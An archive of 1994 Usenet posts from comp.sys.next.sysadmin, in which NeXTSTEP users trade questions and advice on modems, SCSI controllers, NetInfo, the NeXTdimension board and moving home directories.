Except that scrolling under the window server is a hell of a lot faster than
in the console/panic/NMI windows.....
I still want to get documentation on the ND so we can get a decent X server
for our machines. Think it's time for a request-bombardment to NeXT for the
info?
--
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
From: acs_goray@rivers.acc.uwrf.edu
Newsgroups: comp.sys.next.sysadmin
Subject: C-Kermit and Abatron modem???
Message-ID: <1994Apr4.153810.3789@rivers>
Date: 4 Apr 94 15:38:10 -0600
Organization: University of Wisconsin - River Falls
Hi
I am trying to get a 9600 baud abatron fax modem working on
my black slab, and am having no luck whatsoever
if anyone can help me, i would appreciate it
my goals
1) dial out as a modem
2) receive fax
3) dial in as a modem
4) send fax
in order of priority
actually i would be pretty happy with number 1
thanks, email appreciated ( non-NeXT )
Jason.Goray@uwrf.edu
--
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: kdburg@incoahe.hanse.de (Klaus Dahlenburg)
Subject: Re: Setting time zone to MET? HELP!
Message-ID: <Cno5t4.FD4@incoahe.hanse.de>
Organization: Hanse Networking eV., Hamburg; Germany
References: <1994Mar29.135738.9279@imag.fr>
Date: Sun, 3 Apr 1994 05:55:51 GMT
arrouye@petole.imag.fr (Yves Arrouye) writes:
>Hi,
>A long time ago, someone posted a patch to Preferences in order to make MET
>zone available. Does somebody know where I can find it (I don't even remember
>the name)?
why patch? Just set your time zone (in preferences) to POLAND and it
should work automatically.
Klaus
++EOM++
--
From: ray@mayo.edu (Ray Ghanbari)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SUMMARY: 1 gig external SCSI drive for Nextstation
Date: 4 Apr 1994 17:00:00 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <2nph2g$573@fermat.mayo.edu>
References: <9404012122.AA00216@guitar.ho.att.com>
In article <9404012122.AA00216@guitar.ho.att.com> dfh@guitar.ho.att.com
(Dan Hurley) writes:
[munch]
>
> Responses follow:
>
--------------------------------------------------------------------------
> I like my DEC 1.05 GB drive (DSP3105S) but it's been replaced by a
> physically smaller (1" high) model with a different model number. DEC
features
> a 48-hour warranty replacement policy instead of the usual policy which
can
> take a couple of weeks.
[munch]
Just a data point. We had a DEC DSP drive die and through various mix ups
on the other end, it took several weeks to get a replacement, in spite of
the "48 hour" replacement claim. The reason I bring this up is that if
your drive is important to you, it is best to have a spare drive available
to pick up the slack. Fortunately, we did, so the 20 people who depended
on that server weren't left in the cold. In our case, we also use our
spare drive as scratch data space (ours is an imaging lab so we generate a
_lot_ of data).
Just a suggestion, since ultimately, a dead drive is your problem and not
the manufacturers. If you can justify the additional cost (and drive
prices are cheap these days), I recommend the added security.
--
Ray Ghanbari
Mayo Foundation
ray@mayo.edu
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.hardware
Subject: EATA timeout report #2
Date: 4 Apr 1994 21:21:44 +0100
Organization: Palumbian Research Labs
Message-ID: <2npsso$9p@marsu.tynet.sub.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
EATA timeout report #2
======================
Description of the problem:
---------------------------
The DPT EISA controllers 2022/9x and 2012/9x cause disastrous crahes under
NeXTSTEP Intel 3.x. These crashes are initiated by an "EATA timeout" error
message in /usr/adm/messages, and a few seconds later any disk access on
the SCSI bus is blocked. If this happens when file system relevant information
is written to disk, the resulting damage to the filesystem is often so big
that a complete restore from tape is the only way left.
Equivalent crashes were reported by:
------------------------------------
Rene Kulschewski <rene@rkt.in-berlin.de>
martin@cube.han.de (Martin Ortlepp)
Rainer Staringer <rainer@fml.tuwien.ac.at>
John B. Hampshire II <hamps@richibucto.jpl.nasa.gov>
ramesh@bodhi.esys.cwru.edu (Ramesh Dodamani)
Varun Mitroo <mitroo@magnus.acs.ohio-state.edu>
Milo Velimirovic <milov@fingers.acs.uwlax.edu>
ivo@next.agsm.ucla.edu (Ivo Welch)
"Thomas J. Herbert" <THERBERT@umiami.ir.miami.edu>
Johann Adalbert Stoeger <hans@tms-gmbh.de>
Markus Wenzel <mow@marsu.tynet.sub.org>
New information since report #1:
--------------------------------
Martin Ortlepp and I tested new BIOS and firmware revisions from DPT.
We got SmartROM version 002-D and BIOS version 005E.
Martin had one EATA timeout after about one week of testing which could
be recovered.
I set all EISA parameters according to NA document #1457, cache to write-through and transfer rate to 10 MB/s.
The first EATA timeout occurred three days later. Then I reduced transfer
rate to 5 MB/s and hoped once more for the best. The next EATA timeout
occurred four days later...
Fortunately, both timeouts didn't do any damage to my filesystem, mainly
because I pressed AltGr-Num quickly enough.
Both timeouts happened immediately after login.
A sysadmin from the University of Berlin told me that´he administrates
about 20 NS/I workstations, and also has DPT hassles. But he said
it depends on the machine in which he plugs the same DPT controller.
Some work, some don't.
Conclusions from all this:
--------------------------
1. One year after NeXTSTEP/Intel 3.1 PR1 there is only _ONE_ EISA controller
supported by NeXT as an EISA controller. All others (Adaptec, BusLogic)
only work in 1542 compatibility mode.
2. This one and only EISA combination 2012/2022/2122 and NS/I DPT driver
does not work reliably. It must be considered even dangerous to run
a NS/I server machine with this combination. Severe data loss is
possible.
3. A NeXT representative from NeXT Europe told me at CeBit expo that they
also had problems with DPT controllers at NeXT Corp. Their consequence
was to use Adaptecs for the machines presented at the expo.
4. DPT was very helpful and responsive, but they just don't know what
the reason is. I think they were not able to reproduce the error situation.
5. I have not heard anything from NeXT if someone is busily working on it.
6. PC hardware is bullshit.
7. I'm sick of being a beta tester for device drivers approved in the
hardware combatability guide!!! I lost money, data, confidence and
patience.
Regards,
Markus.
--
.sig got a SIGKILL signal.
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: David Kelman
Subject: Added Services
Message-ID: <1994Apr5.013952.18517@alw.nih.gov>
Sender: postman@alw.nih.gov (AMDS Postmaster)
Organization: National Institutes of Health
Date: Tue, 5 Apr 1994 01:39:52 GMT
Hello,
When I've added most third party services, like Filter-1.1, my
system refuses to see them. I have them installed in ~/Library/Services,
yet nothing appears in Preferences. McFilter, on the other hand, located
also in ~/Library/Services, is seen by the system. What could be causing
the system not to see the other services?
David Kelman
d.kelman2@genie.geis.com
Newsgroups: comp.sys.next.sysadmin
From: mreynold@netcom.com (Marc B. Reynolds)
Subject: NetInfo & hostname problem
Message-ID: <mreynoldCnrIv1.IK4@netcom.com>
Keywords: netinfo hostname help
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 5 Apr 1994 01:30:37 GMT
I have a problem with the NetInfo-database and my system hostname.
I used SimpleNetworkStarter.app to set my hostname and IP. Everything
seemed to work fine (this was months ago). Just recently, however,
I discovered that gethostname returns an error (-1) when I call it.
While trying to track the problem down, I noticed that NetInfoManager
calls my root domain -- "local@No Host Name Registered - /", so I assume
that the NetInfo database is clueless about my hostname and that this
is the source of my problem. I attempted to correct with the host
manager, but the problem still existed. I tried mucking around with
the NetInfo manager, but since I fairly NeXT clueless, I couldn't find
the proper entry to modify/extend. (Best not break things more.)
So..If anyone has any-ideas on what my problem TRUELY is and/or how to
fix it...please, bounce 'em off me.
Cheers,
--
-------------------------------------------------------------------------------
Marc B. Reynolds W: (510) 814-6384
mreynold@netcom.com H: (510) 814-9385
(No NeXT-mail)
-------------------------------------------------------------------------------
From: weissd@access1.digex.net (Damien Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP Help Needed!
Date: 1 Apr 1994 23:07:47 -0500
Organization: Express Access Online Communications, Greenbelt, MD USA
Message-ID: <weissd.765259587@access1>
Summary: slip
Keywords: slip
For some reason, I can connect to my slip server, and
I get nameserver services and pings work fine. It's just whenever
I try to telnet, ftp or any other interactive service, I get a connect,
and then nothing. I can see on the modem's lights that information
*is* getting back and forth, but none of it's displayed.
Any hints?
Thanks,
Damien
Newsgroups: comp.sys.next.sysadmin
From: kramer@fragile.termfrost.org (Mike Andrews)
Subject: Re: Things seem to be "lost" in 3.2
Message-ID: <CnrrF7.KGC@fragile.termfrost.org>
Organization: Terminal Frost, Springfield OH
References: <1994Apr4.134353.21462@ornl.gov>
Date: Tue, 5 Apr 1994 04:35:31 GMT
woo@ornl.gov (John W. Wooten) writes:
>I've located /NextLibrary/Documentation/ManPages/man/man1/gzip.1
>in the 3.2 release. The release notes state that compressed files will
>now be labeled gz rather than Z etc.
>If if ftp a file to my system in binary as a .gz file, it shows up in
>the file browser as a text file, not as a compressed file, and
>Opener.app doesn't know about it.
Make sure you've got the newest Opener.app -- the older versions don't
know anything about the .gz extension. 3.1.2 is the newest version that
I know about...
>In addition, the above man pages aren't linked into /usr/man!
Check the 3.2 release notes in your upgrade box... it's a bug, and there's
a workaround. (Somewhere I remember that the workaround was wrong too, but
it's pretty much a matter of just moving a directory tree to somewhere else.)
--
Mike Andrews "This guy's pretty bizarre, Gus."
root@fragile.termfrost.org [NeXTmail OK] - Primus
kramer@wittenberg.edu (school)
kramer@mik.uky.edu (hometown) Bassists do it deeper
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: RISC usage in ND card and X servers
Date: 5 Apr 1994 05:04:53 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2nqrhl$gcl@quartz.ucs.ualberta.ca>
References: <2npv6e$cts@nermal.cs.uoguelph.ca>
In article <2npv6e$cts@nermal.cs.uoguelph.ca> devans@snowhite.cis.uoguelph.ca
(David Evans) writes:
> In article <CnHx0M.1H7@tms-gmbh.de> gerti@tms-gmbh.de (Gerd Knops) writes:
> > [jokes on]
> > What does the i860 on the ND board?
> > a) NeXT planed on putting 'intel inside' on the cubes.
> > b) Nothing at all, I removed it and used it as spare part, ND still works.
> > c) Marketing gag. They are empty.
> > [jokes off]
> >
> > I always had my doubts about the i860 on the ND. You can;t access it. The
> > ND is slow. If the i860 is used at all, then probably only as refresh
> > controller for the dram. (Did I type [jokes off]???)
>
> Except that scrolling under the window server is a hell of a lot faster
than
> in the console/panic/NMI windows.....
> I still want to get documentation on the ND so we can get a decent X server
> for our machines. Think it's time for a request-bombardment to NeXT for the
> info?
The ND is a VIDEO machine, not just a color machine. Bet if you take out
the i860, live video on the video ports won't be seen. Is that enough of
a hint as to what the i860 does?
A Turbo ND may get you better X, but NS/FIP and DEC or HP (eventually) will
likely be better bets.
If you want "cheap" X-terminals, then go out and pick up an NCD or something.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: jds@aplexus.jhuapl.edu (John D Stanhope)
Newsgroups: comp.sys.next.sysadmin
Subject: How to retro fit Linux on spare IDE ?
Date: 4 Apr 1994 17:41:08 GMT
Organization: Johns Hopkins U. Applied Physics Lab
Distribution: world
Message-ID: <2npjfk$mvc@aplcomm.jhuapl.edu>
Keywords: Linux, partitions, IDE, SCSI
I currently have NS on a scsi disk which is my boot device. Now
I would like to reconnect my IDE drive and throw Linux on it, but in
such a way that I can choose to boot between Linux and NS. Has anyone
done this or know of a way to do this that won't ruin NS? I don't have
a boot manager installed for NS, if it matters.
--jds
-------------------------------------------------------------------------------
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Wanda "Sure they do, they just don't understand it"
-------------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: silver@shakti.ncst.ernet.in (Silverline Industries Ltd.)
Subject: HELP !!
Message-ID: <Cnrnrw.LDK@shakti.ncst.ernet.in>
Organization: National Centre for Software Technology, India
Date: Tue, 5 Apr 1994 03:16:44 GMT
Hello all !!
WHat is the latest version available in the market of
NEXTSTEP OS ??? Is there any version available after NS 3.0 ??
regards,
David
email : silver@shakti.ncst.ernet.in
Newsgroups: comp.sys.next.sysadmin
From: kemal@sap-ag.de (Kemal Koeksal)
Subject: Re: Builddisk.app & scsimodes (NSFI)
Message-ID: <Cns3xB.DIB@sap-ag.de>
Sender: news@sap-ag.de (USENET News System)
Organization: SAP-AG Walldorf
References: <CnJ3ty.L21@sap-ag.de> <2ng1bk$c8u@cs.ubc.ca>
Date: Tue, 5 Apr 1994 09:05:34 GMT
Chris,
thanks for the tip. I simply replaced /usr/etc/disk with a csh-script wich
simply echos its arguments ( echo "disk $*" >> /tmp/disk.log ). And it
appears that we have different 3.2 for Intel. My Builddisk calls /usr/etc/disk
simply as disk -i -l "DEC RZ56" -h localhost /dev/rsd1a. So I did a fdisk first
and then the same command as above and had my 634 MB available.
-kemal
From: mcgredo@crl.com (Donald R. McGregor)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT-Sun HDs
Date: 5 Apr 1994 02:28:47 -0700
Organization: YoyoDyne Propulsion Systems
Distribution: world
Message-ID: <2nrb0f$9no@crl2.crl.com>
I assume lots of people have run across this one...
I've got a Seagate ST1480 HD in an external case that
I'd like to be switching back and forth between a
Sun 4.1.2 system and a NeXT. Under NeXT it does
the usual thing when connected as a non-booted
drive and formats fine. When I attempt to hook
it up to a Sun and use it as a data drive, I get
error messages about 'bad magic numbers' and the
like, and it refuses to recognize the drive.
Is the drive formatted in incompatible ways, or do I need
some sort of disktab entry for that particular drive?
--
Don McGregor | Yeah, whatever.
mcgredo@crl.com |
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Moving home directories to a different hard disk
Date: 1 Apr 1994 23:41:09 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2nibel$rh2@senator-bedfellow.MIT.EDU>
I have a bunch of home directories on the internal hard disk in our lab
system, and I want to move the stuff to an external drive with more space.
Can I simply log in as root and copy the /Users directory to the external
drive, delete the /Users directory on the internal drive, then make a
symbolic link from the external /Users to a new internal /Users such that
I can avoid using UserManager to change the home directories for everybody?
Also, if I copy home directories as root, will I need to do a chown -R "user"
on all of the directories I copied (since the newly copied files will
by owned by root instead of the repsective users)?
Thanks for the help,
Eric
From: eric@skatter.usask.ca
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.hardware
Subject: Re: EATA timeout report #2
Date: 5 Apr 1994 15:46:51 GMT
Organization: University of Saskatchewan
Message-ID: <2ns15b$iu3@tribune.usask.ca>
References: <2npsso$9p@marsu.tynet.sub.org>
> 2. This one and only EISA combination 2012/2022/2122 and NS/I DPT driver
> does not work reliably. It must be considered even dangerous to run
> a NS/I server machine with this combination. Severe data loss is
> possible.
>
I'd like to point out that `your mileage may vary'. I have been running
a DPT 2022 (with no cache) for 3 months now, heavy usage, and have had
exactly 0 of these EATA Timeouts.
--
Eric Norum eric@skatter.usask.ca
Saskatchewan Accelerator Laboratory
University of Saskatchewan
Saskatoon, Canada. NeXTMail accepted.
From: devans@snowhite.cis.uoguelph.ca (David Evans)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: RISC usage in ND card and X servers
Date: 5 Apr 1994 17:25:45 GMT
Organization: University of Guelph
Message-ID: <2ns6up$dff@nermal.cs.uoguelph.ca>
References: <2nqrhl$gcl@quartz.ucs.ualberta.ca>
In article <2nqrhl$gcl@quartz.ucs.ualberta.ca> jmack@skye.phys.ualberta.ca
writes:
> In article <2npv6e$cts@nermal.cs.uoguelph.ca> devans@snowhite.cis.uoguelph.ca
> (David Evans) writes:
> > Except that scrolling under the window server is a hell of a lot faster
> than
> > in the console/panic/NMI windows.....
> > I still want to get documentation on the ND so we can get a decent X
server
> > for our machines. Think it's time for a request-bombardment to NeXT for
the
> > info?
>
> The ND is a VIDEO machine, not just a color machine. Bet if you take out
> the i860, live video on the video ports won't be seen. Is that enough of
> a hint as to what the i860 does?
>
> A Turbo ND may get you better X, but NS/FIP and DEC or HP (eventually) will
> likely be better bets.
> If you want "cheap" X-terminals, then go out and pick up an NCD or something.
I know that's what the i860 does. I'm just saying that it could probably do
more useful things (we don't use live video every day.....) We've got
DECstations, IRISs, etc. galore around here so there's no real shortage of X
terminals. It would just be nice to be able to do it from the ND without
having lunch.
--
David Evans devans@snowhite.cis.uoguelph.ca
Computer/Synth Junkie (NeXTMail OK)
University of Guelph "Default is the value selected by the
Guelph, Ontario, Canada composer overridden by your command."
- Roland TR-707 Manual
From: stoleson@stutter.rchland.ibm.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: help with computer rebooting
Date: 5 Apr 1994 17:02:50 GMT
Organization: IBM Rochester, MN
Message-ID: <2ns5jq$13gg@locutus.rchland.ibm.com>
References: <2nklmh$7ud@names.maricopa.edu>
In <2nklmh$7ud@names.maricopa.edu>, xcarn@mcmuse.mc.maricopa.edu (Michael Carnright) writes:
>I work with several Black NeXT computers that are networked together.
> On several of these when they are powered down they reboot. Is there a
>preferance I can change to keep them from automaticly rebooting?
>
In the Preferences application, there is a selection for Reboot on power-off, this
should NOT be selected. I assume this is there for power outages, so your machine will
automagically reboot. . .
It also depends on what kind of system you are on. My cube at work doesn't have this option.
But my color station at home does. Go figure.
You can also set it to boot at a predetermined time, I have never tried this.
> A second question I have is that on several of the login windows
>there is a phone icon. They are not set up to use this application (I
>think). Why has this Icon appeared? Does it have something to do with
>the Phone connector app. ?
>
> Thank you in advance for any help you can give me on these problems.
>
>
From: pmarc@allanon.math.byu.edu (Paul Cardon)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: GNU Finger 1.37
Date: 5 Apr 1994 17:42:45 GMT
Organization: Brigham Young University
Message-ID: <2ns7ul$lqq@hamblin.math.byu.edu>
I am trying to get GNU Finger 1.37 to work under NeXTSTEP 3.2. I have been
able to get it to compile cleanly without much trouble, but the finger
client fails with a memory allocation error and the host and user data
files in /usr/local/etc/fingerdir are not being updated correctly by the
daemon. If anybody has this running on their machines let me know how you
did it. This software works great on our HP 712's ;-)
Thanks,
Paul M. Cardon
NeXTSTEP and HP System Manager
Math Department - Brigham Young University
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Builddisk.app & scsimodes (NSFI)
Date: 5 Apr 1994 18:19:47 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2nsa43$isb@cs.ubc.ca>
References: <Cns3xB.DIB@sap-ag.de>
In article <Cns3xB.DIB@sap-ag.de> kemal@sap-ag.de (Kemal Koeksal) writes:
> Chris,
>
> thanks for the tip. I simply replaced /usr/etc/disk with a
> csh-script wich simply echos its arguments ( echo "disk $*" >>
> /tmp/disk.log ). And it appears that we have different 3.2 for
> Intel. My Builddisk calls /usr/etc/disk simply as disk -i -l "DEC
> RZ56" -h localhost /dev/rsd1a. So I did a fdisk first and then
> the same command as above and had my 634 MB available.
>
>
> -kemal
Ah. I had assumed you were trying to make a multi-partition disk (UNIX
filesystem "partitions", that is) with the Partition button in BuildDisk,
which ends up supplying the -p parameter to /usr/etc/disk. From what you
found out, it looks like even if you don't want a DOS partition (i.e. DOS
fdisk "partitions"), you still need to use fdisk to create a NEXTSTEP
fdisk partition before you can use BuildDisk.
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: patrick@yabba.graphics.cornell.edu (Patrick Heynen)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: RISC usage in ND card and X servers
Date: 5 Apr 1994 19:42:21 GMT
Organization: Cornell University Program of Computer Graphics
Message-ID: <2nseut$clp@merckx.graphics.cornell.edu>
References: <2ns6up$dff@nermal.cs.uoguelph.ca>
In article <2ns6up$dff@nermal.cs.uoguelph.ca> devans@snowhite.cis.uoguelph.ca
(David Evans) writes:
> >
> > The ND is a VIDEO machine, not just a color machine. Bet if you take out
> > the i860, live video on the video ports won't be seen. Is that enough of
> > a hint as to what the i860 does?
> >
> > A Turbo ND may get you better X, but NS/FIP and DEC or HP (eventually) will
> > likely be better bets.
> > If you want "cheap" X-terminals, then go out and pick up an NCD or something.
>
> I know that's what the i860 does. I'm just saying that it could probably do
> more useful things (we don't use live video every day.....) We've got
> DECstations, IRISs, etc. galore around here so there's no real shortage of X
> terminals. It would just be nice to be able to do it from the ND without
> having lunch.
>
Just to get the facts straight: the i860 on the ND does NOT just support live
video- as a matter of fact, that is one of the only functions in which it is NOT
involved in. The i860 is part of a general purpose subsystem which runs a mini
mach kernel, which has several processes running on it. The output of NDps is as
follows:
yabba> NDps
TID PTID PRI WCHAN STAT %CPU TIME THREAD
0 0 -20 f80c1578 S 98.4 22 hr Idle/Sched
4 2 20 f84d1ff0 S 1.0 24:21 ND PostScript
1 0 10 f83f0000 S 0.1 3:27 Messages
5 3 10 f80bfd70 S 0.1 0:06 Pager I/O
6 4 20 f80d32a0 S 0.1 0:00 QRM Server
3 2 0 f80ce004 S 0.0 0:00 PageOutDaemon
2 0 10 0 R 0.0 0:00 KernServer
So as you can see, what the i860 actually has several threads/tasks running on it
which handle such things as postscript rendering and interactive renderman
rendering. So basically most of the windowserver is running on it. Where this
subsystem design becomes important is mainly in bit-blitting of 32-bit windows.
This requires a great deal of processing power, and the i860 has special
instructions for this. One of the original goals of the ND was to have all
windows be as 'smooth' under 32-bit color as it was in the original 2-bit
systems. It should be noted that until very recently, the ND was one of the only
graphics systems that let you do this (at least in the low-cost workstation
range). From the time it was introduced until about a year ago, the ND was way
ahead of its time. Unfortunately, the technical accomplishments of the ND went
largely unnoticed, because most NextStep users have learned to take most of the
advanced graphic 'features' for granted (such as smooth opaque window dragging).
One would like to think that the 'QRM Server' is using some of the 3D-graphics
capabilities of the i860, but I believe that they opted in favor of a common,
portable source tree (in C) that could be used on all the different machines that
run NextStep. As a result, 3D is not really significantly faster on an ND than on
a 16bit 486.
In conclusion, the ND itself was an amazing achievement in and of itself.
However, after being put in the context of the overall NeXT market, esp. after
the C-Cube JPEG chip was dropped, was not as successful as NeXT had hoped.
However, I still enjoy using it after 3 years of service!
===============================================================================
Patrick Heynen patrick@graphics.cornell.edu
Resident NeXT bigot
Program of Computer Graphics NeXTMail welcome!
Cornell University
Ithaca, NY 14853
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.hardware
Subject: Re: EATA timeout report #2
Date: 5 Apr 94 20:53:16 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.765579196@info2.rus.uni-stuttgart.de>
References: <2npsso$9p@marsu.tynet.sub.org> <2ns15b$iu3@tribune.usask.ca>
eric@skatter.usask.ca writes:
>I'd like to point out that `your mileage may vary'. I have been running
>a DPT 2022 (with no cache) for 3 months now, heavy usage, and have had
>exactly 0 of these EATA Timeouts.
Just be happy about it. But I think more than 10 persons with similar
problems are enough to point out that something has to be done against it.
If your system were unstable, you'd know what I meant with 'unreliable'.
BTW: What devices did you connect to your 2022? Fast-SCSI-II harddisk drives?
My theory is that it only happens with new fast drives.
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: mandel@oxbox.cso.uiuc.edu (Hector Mandel)
Newsgroups: comp.sys.next.sysadmin
Subject: Netware Printing ... Banners
Date: 5 Apr 1994 22:32:37 GMT
Organization: University of Illinois at Urbana
Message-ID: <2nsou5$gvn@vixen.cso.uiuc.edu>
I'm trying to set up my NS3.2 black box to use a netware printer and have the
netware printer print banner pages. I would really appreciate it if someone
who knows how to do this would point me in the right direction. I've edited
the .if file for the printer to no avail ... the comments in the default
filter file say that all I need to do is set BANNER="-B". Well, that
doesn't work. Am I missing something?
--
Hector Mandel, Manager of Systems Services | (217) 244-7237
CCSO - Computing | h-mandel@uiuc.edu
University of Illinois at Urbana-Champaign | pager 53171
From: izumi@mindseye.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Moving home directories to a different hard disk
Date: 2 Apr 1994 09:34:32 GMT
Organization: None
Distribution: world
Message-ID: <2nje78$704@agate.berkeley.edu>
References: <2nibel$rh2@senator-bedfellow.MIT.EDU>
In article <2nibel$rh2@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes:
>I have a bunch of home directories on the internal hard disk in our lab
>system, and I want to move the stuff to an external drive with more space.
>
>Can I simply log in as root and copy the /Users directory to the external
>drive, delete the /Users directory on the internal drive, then make a
>symbolic link from the external /Users to a new internal /Users such that
>I can avoid using UserManager to change the home directories for everybody?
>
>Also, if I copy home directories as root, will I need to do a chown -R "user"
>on all of the directories I copied (since the newly copied files will
>by owned by root instead of the repsective users)?
You can copy with all permissions and ownership with tar or gnutar.
cd /
gnutar cpf - Users | (cd /ExternDisk; gnutar xpf -)
should copy everything intact, so you don't have to do chown for
users.
Symlinkling Users dir on the extern disk to /Users should work
for most things, except for some "import by reference" files
embedded in some documents. If the app stores absolute path
to the imported files, opening docs containing these files
may fail to find the imports. Usually apps will let you set
new path for missing files, however. But this is a pain.
If you are allocating all of the extern disk for user as /Users,
you can mount the disk as /Users (after renaming the curreint
/Users to something else, and copy stuff by tar/gnutar like
above to the new disk
That approach will give you the least amount of headache.
--
Izumi Ohzawa [ $BBg_78^=;(B ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTmail OK)
From: carlton@darkstar.isi.edu (Mike Carlton)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Can't boot from CD-ROM to install
Date: 2 Apr 1994 01:52:49 -0800
Organization: USC Information Sciences Institute
Distribution: world
Message-ID: <2njf9h$rv5@darkstar.isi.edu>
I'm trying to install NS 3.2 on an old nextstation. I've got a new hard
disk, so I want to do a clean install. Unfortunately, I'm unable to
boot from my CD-ROM drive (it's a Pinnacle recordable CD, but can read
standard CDs of course).
If I try to boot from the installation floppy (after running UpgradePrep)
bfd spins the cd-rom, but then doesn't find anything it likes and reports
that no cd-rom is attached.
If I boot from the internal hard disk, the monitor reports
PINNACLE RCD-200 Rev IBBK as sd1 at sc0 target 2 lun 0
sd1: UNIT ATTENTION
Disk Label: NEXTSTEP_3.2
Disk Capacity 300MB, Device Block 2048 bytes
PINNACLE RCD-200 Rev IBBK as sd2 at sc0 targe
Waiting for drive to come ready
...................
PINNACLE RCD-200 Rev IBBK as sd3 at sc0 targe
Waiting for drive to come ready
...................
It then proceeds to try all scsi devices up to sd7, then boots. Once
I log in the CD mounts fine. But, I tried running UpgradeApp and it just
hung.
The UNIT ATTENTION seems to be the primary error--can I get around this
or is it time to scrounge up another CD-ROM drive?
thanks for any help,
--mike (carlton@isi.edu)
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: A4 default in Preview app?
Message-ID: <CnuJBv.wq@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <1994Apr4.181111.11076@rdbois.uucp>
Date: Wed, 6 Apr 1994 16:33:31 GMT
In article <1994Apr4.181111.11076@rdbois.uucp> sr@rdbois.fdn.org
(serge_ruby) writes:
> In article <1994Apr2.201949.7880@seer.demon.co.uk> paul@seer.demon.co.uk
(Paul
> Lynch) writes:
> > In article <1994Mar31.200110.1582@nbivax.nbi.dk> sams@nbivax.nbi.dk
> > writes:
> > > How does one set the default paper size to A4 in Preview app?
> >
> > If you want to set a default page size for any competently written
NeXT
> > app (sharp minds will notice that this leaves some room), set:
> >
> > dwrite GLOBAL NXPaperType A4
>
> Does any of you know were to find the list of the relevant GLOBAL dwrite
?
> I could not find it in the librarian.
>
> Serge
GeneralRef/ApB_Defaults/defaults.rtf
Gerd
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: Taylor UUCP Help Needed
Date: 1 Apr 1994 19:58:52 +0100
Organization: Palumbian Research Labs
Message-ID: <2nhqtc$2m9@marsu.tynet.sub.org>
References: <anisCnJGoL.KI1@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Keywords: UUCP,Taylor
anis@netcom.com (Anis Khwaja) writes:
>I would like to know If there is compiled version of Taylor UUCP 1.04 on the
>archives? I have downloaded the sources and tried to make them but no luck.
>If some one who has successfully made it and install perhaps would like to
>help me do the same I would be appreciate it very much.
I put my own port to ftp.uni-stuttgart.de:/pub/systems/next/Sources and
included FAT binaries.
Hope that helps,
Markus.
--
.sig got a SIGKILL signal.
From: taweil@girtab.usc.edu (Ta-Wei Li)
Newsgroups: comp.sys.next.sysadmin
Subject: Compile emacs 19.22 on a cube running NS 3.2 and co-Xist
Date: 2 Apr 1994 21:35:34 -0800
Organization: University of Southern California, Los Angeles, CA
Sender: taweil@girtab.usc.edu
Message-ID: <2nlkj6$li8@girtab.usc.edu>
Hi, I am getting strange error when exiting emacs 19.22 in my cube
running NS 3.2 and co-Xist 3.0. I keep getting
attempt to free or realloc memory in the heap
IOT trap
I trace the problem and found this occurs when calling XCloseDisplay.
I haven't had much experience with X programming so I can't really
tell what's wrong with this call. Could some one post or e-mail my a
solution?
Thanks in advance.
--
Ta-Wei "David" Li
UCS UNIX Consultant
From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: boot problems Cube-NS2.1
Date: 3 Apr 1994 06:40:21 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2nlocl$ifo@quartz.ucs.ualberta.ca>
References: <2nk6pg$lpb@nwfocus.wa.com>
